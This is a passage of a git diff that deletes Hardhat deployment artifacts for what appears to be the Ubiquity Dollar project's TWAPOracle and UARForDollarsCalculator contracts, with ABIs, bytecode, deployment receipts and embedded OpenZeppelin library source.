(uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"}},\"version\":1}", - "bytecode": "0x60e06040523480156200001157600080fd5b5060405162000ef138038062000ef183398101604081905262000034916200054f565b606083901b6001600160601b03191660805260405163c661065760e01b8152600060048201526001600160a01b03838116919085169063c66106579060240160206040518083038186803b1580156200008c57600080fd5b505afa158015620000a1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000c791906200052b565b6001600160a01b031614801562000165575060405163c661065760e01b8152600160048201526001600160a01b03808316919085169063c66106579060240160206040518083038186803b1580156200011f57600080fd5b505afa15801562000134573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200015a91906200052b565b6001600160a01b0316145b620001b75760405162461bcd60e51b815260206004820152601f60248201527f545741504f7261636c653a20434f494e5f4f524445525f4d49534d415443480060448201526064015b60405180910390fd5b6001600160601b0319606083811b821660a05282901b1660c052604051634903b0d160e01b8152600060048201819052906001600160a01b03851690634903b0d19060240160206040518083038186803b1580156200021557600080fd5b505afa1580156200022a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000250919062000623565b6001600160701b031690506000846001600160a01b0316634903b0d160016040518263ffffffff1660e01b81526004016200028d91815260200190565b60206040518083038186803b158015620002a657600080fd5b505afa158015620002bb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e1919062000623565b6001600160701b031690508115801590620002fb57508015155b620003495760405162461bcd60e51b815260206004820152601760248201527f545741504f7261636c653a204e4f5f52455345525645530000000000000000006044820152606401620001ae565b8082146200039a5760405162461bcd60e51b815260206004820152601b60248201527f545741504f7261636c653a20504149525f554e42414c414e43454400000000006044820152606401620001ae565b846001600160a01b0316634469e30e6040518163ffffffff1660e01b8152600401604080518083038186803b158015620003d357600080fd5b505afa158015620003e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040e919062000598565b6200041e906003906002620004b4565b50846001600160a01b03166363543f066040518163ffffffff1660e01b815260040160206040518083038186803b1580156200045957600080fd5b505afa1580156200046e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000494919062000623565b6002555050670de0b6b3a764000060008190556001555062000652915050565b8260028101928215620004e5579160200282015b82811115620004e5578251825591602001919060010190620004c8565b50620004f3929150620004f7565b5090565b5b80821115620004f35760008155600101620004f8565b80516001600160a01b03811681146200052657600080fd5b919050565b6000602082840312156200053d578081fd5b62000548826200050e565b9392505050565b60008060006060848603121562000564578182fd5b6200056f846200050e565b92506200057f602085016200050e565b91506200058f604085016200050e565b90509250925092565b600060408284031215620005aa578081fd5b82601f830112620005b9578081fd5b604080519081016001600160401b0381118282101715620005de57620005de6200063c565b8060405250808385604086011115620005f5578384fd5b835b600281101562000618578151835260209283019290910190600101620005f7565b509195945050505050565b60006020828403121562000635578081fd5b5051919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c60a05160601c60c05160601c610836620006bb6000396000818161017101526101da01526000818160c90152610197015260008181610108015281816102a70152818161036c0152818161041d015281816104d7015261056901526108366000f3fe608060405234801561001057600080fd5b50600436106100a35760003560e01c80635e6aaf2c11610076578063a2e620451161005b578063a2e6204514610159578063a6bb453914610163578063d21220a71461016c576100a3565b80635e6aaf2c1461013d5780637536a29114610146576100a3565b80630301b16e146100a85780630dfe1681146100c457806316f0115b14610103578063283583c61461012a575b600080fd5b6100b160025481565b6040519081526020015b60405180910390f35b6100eb7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100bb565b6100eb7f000000000000000000000000000000000000000000000000000000000000000081565b6100b161013836600461066f565b610193565b6100b160015481565b6100b1610154366004610721565b610267565b61016161027e565b005b6100b160005481565b6100eb7f000000000000000000000000000000000000000000000000000000000000000081565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156101d85750600054610262565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161461025d5760405162461bcd60e51b815260206004820152601960248201527f545741504f7261636c653a20494e56414c49445f544f4b454e00000000000000604482015260640160405180910390fd5b506001545b919050565b6003816002811061027757600080fd5b0154905081565b6000806102896104cb565b9150915060006002548261029d91906107f0565b11156104c75760007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630f6ba8e3600385600254866102e591906107f0565b6040518463ffffffff1660e01b81526004016103039392919061077a565b604080518083038186803b15801561031a57600080fd5b505afa15801561032e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610352919061069d565b604051631f90bf0360e21b81529091506001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690637e42fc0c906103b190600090600190670de0b6b3a76400009087906004016107c0565b60206040518083038186803b1580156103c957600080fd5b505afa1580156103dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104019190610739565b6000908155604051631f90bf0360e21b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691637e42fc0c9161045f91600191670de0b6b3a76400009087906004016107c0565b60206040518083038186803b15801561047757600080fd5b505afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190610739565b6001556104bf60038460026105fe565b505060028190555b5050565b6104d361063c565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316634469e30e6040518163ffffffff1660e01b8152600401604080518083038186803b15801561052d57600080fd5b505afa158015610541573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610565919061069d565b91507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166363543f066040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c057600080fd5b505afa1580156105d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f89190610739565b90509091565b826002810192821561062c579160200282015b8281111561062c578251825591602001919060010190610611565b5061063892915061065a565b5090565b60405180604001604052806002906020820280368337509192915050565b5b80821115610638576000815560010161065b565b600060208284031215610680578081fd5b81356001600160a01b0381168114610696578182fd5b9392505050565b6000604082840312156106ae578081fd5b82601f8301126106bc578081fd5b6040516040810181811067ffffffffffffffff821117156106df576106df610813565b80604052508083856040860111156106f5578384fd5b835b60028110156107165781518352602092830192909101906001016106f7565b509195945050505050565b600060208284031215610732578081fd5b5035919050565b60006020828403121561074a578081fd5b5051919050565b8060005b6002811015610774578151845260209384019390910190600101610755565b50505050565b60a08101818560005b60028110156107a2578154835260209092019160019182019101610783565b5050506107b26040830185610751565b826080830152949350505050565b600f85810b825284900b60208201526040810183905260a081016107e76060830184610751565b95945050505050565b60008282101561080e57634e487b7160e01b81526011600452602481fd5b500390565b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100a35760003560e01c80635e6aaf2c11610076578063a2e620451161005b578063a2e6204514610159578063a6bb453914610163578063d21220a71461016c576100a3565b80635e6aaf2c1461013d5780637536a29114610146576100a3565b80630301b16e146100a85780630dfe1681146100c457806316f0115b14610103578063283583c61461012a575b600080fd5b6100b160025481565b6040519081526020015b60405180910390f35b6100eb7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100bb565b6100eb7f000000000000000000000000000000000000000000000000000000000000000081565b6100b161013836600461066f565b610193565b6100b160015481565b6100b1610154366004610721565b610267565b61016161027e565b005b6100b160005481565b6100eb7f000000000000000000000000000000000000000000000000000000000000000081565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031614156101d85750600054610262565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161461025d5760405162461bcd60e51b815260206004820152601960248201527f545741504f7261636c653a20494e56414c49445f544f4b454e00000000000000604482015260640160405180910390fd5b506001545b919050565b6003816002811061027757600080fd5b0154905081565b6000806102896104cb565b9150915060006002548261029d91906107f0565b11156104c75760007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630f6ba8e3600385600254866102e591906107f0565b6040518463ffffffff1660e01b81526004016103039392919061077a565b604080518083038186803b15801561031a57600080fd5b505afa15801561032e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610352919061069d565b604051631f90bf0360e21b81529091506001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690637e42fc0c906103b190600090600190670de0b6b3a76400009087906004016107c0565b60206040518083038186803b1580156103c957600080fd5b505afa1580156103dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104019190610739565b6000908155604051631f90bf0360e21b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001691637e42fc0c9161045f91600191670de0b6b3a76400009087906004016107c0565b60206040518083038186803b15801561047757600080fd5b505afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190610739565b6001556104bf60038460026105fe565b505060028190555b5050565b6104d361063c565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316634469e30e6040518163ffffffff1660e01b8152600401604080518083038186803b15801561052d57600080fd5b505afa158015610541573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610565919061069d565b91507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166363543f066040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c057600080fd5b505afa1580156105d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f89190610739565b90509091565b826002810192821561062c579160200282015b8281111561062c578251825591602001919060010190610611565b5061063892915061065a565b5090565b60405180604001604052806002906020820280368337509192915050565b5b80821115610638576000815560010161065b565b600060208284031215610680578081fd5b81356001600160a01b0381168114610696578182fd5b9392505050565b6000604082840312156106ae578081fd5b82601f8301126106bc578081fd5b6040516040810181811067ffffffffffffffff821117156106df576106df610813565b80604052508083856040860111156106f5578384fd5b835b60028110156107165781518352602092830192909101906001016106f7565b509195945050505050565b600060208284031215610732578081fd5b5035919050565b60006020828403121561074a578081fd5b5051919050565b8060005b6002811015610774578151845260209384019390910190600101610755565b50505050565b60a08101818560005b60028110156107a2578154835260209092019160019182019101610783565b5050506107b26040830185610751565b826080830152949350505050565b600f85810b825284900b60208201526040810183905260a081016107e76060830184610751565b95945050505050565b60008282101561080e57634e487b7160e01b81526011600452602481fd5b500390565b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": {}, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": {}, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 9139, - "contract": "contracts/TWAPOracle.sol:TWAPOracle", - "label": "price0Average", - "offset": 0, - "slot": "0", - "type": "t_uint256" - }, - { - "astId": 9141, - "contract": "contracts/TWAPOracle.sol:TWAPOracle", - "label": "price1Average", - "offset": 0, - "slot": "1", - "type": "t_uint256" - }, - { - "astId": 9143, - "contract": "contracts/TWAPOracle.sol:TWAPOracle", - "label": "pricesBlockTimestampLast", - "offset": 0, - "slot": "2", - "type": "t_uint256" - }, - { - "astId": 9147, - "contract": "contracts/TWAPOracle.sol:TWAPOracle", - "label": "priceCumulativeLast", - "offset": 0, - "slot": "3", - "type": "t_array(t_uint256)2_storage" - } - ], - "types": { - "t_array(t_uint256)2_storage": { - "base": "t_uint256", - "encoding": "inplace", - "label": "uint256[2]", - "numberOfBytes": "64" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/UARForDollarsCalculator.json b/packages/contracts/dollar/deployments/mainnet/UARForDollarsCalculator.json deleted file mode 100644 index 827e1c15b..000000000 --- a/packages/contracts/dollar/deployments/mainnet/UARForDollarsCalculator.json +++ /dev/null @@ -1,162 +0,0 @@ -{ - "address": "0x75d6F33BcF784504dA74e4aD60c677CD1fD3e2d5", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [], - "name": "getConstant", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "dollarsToBurn", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "blockHeightDebt", - "type": "uint256" - } - ], - "name": "getUARAmount", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "coef", - "type": "uint256" - } - ], - "name": "setConstant", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": "0x03a2aefe943e5e979a54db0ffc903375916b849cd98f20eb85c4fc510c45e7f1", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x75d6F33BcF784504dA74e4aD60c677CD1fD3e2d5", - "transactionIndex": 17, - "gasUsed": "2090308", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xad97520a4b074c4edc3400c821747ab2880d2605dbee8668e2ef3afb9085457a", - "transactionHash": "0x03a2aefe943e5e979a54db0ffc903375916b849cd98f20eb85c4fc510c45e7f1", - "logs": [], - "blockNumber": 12595241, - "cumulativeGasUsed": "2923119", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"getConstant\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"dollarsToBurn\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"blockHeightDebt\",\"type\":\"uint256\"}],\"name\":\"getUARAmount\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"coef\",\"type\":\"uint256\"}],\"name\":\"setConstant\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"constructor\":{\"params\":{\"_manager\":\"the address of the manager/config contract so we can fetch variables\"}},\"setConstant(uint256)\":{\"details\":\"a coef of 1 ether means 1\",\"params\":{\"coef\":\"new constant for uAR calculation in ETH format\"}}},\"title\":\"Uses the following formula: ((1/(1-R)^2) - 1)\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"getConstant()\":{\"notice\":\"get the constant for uAR calculation\"},\"setConstant(uint256)\":{\"notice\":\"set the constant for uAR calculation\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/UARForDollarsCalculator.sol\":\"UARForDollarsCalculator\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for address;\\n\\n // Mapping from token ID to account balances\\n mapping (uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping (address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor (string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return interfaceId == type(IERC1155).interfaceId\\n || interfaceId == type(IERC1155MetadataURI).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(\\n address[] memory accounts,\\n uint256[] memory ids\\n )\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n 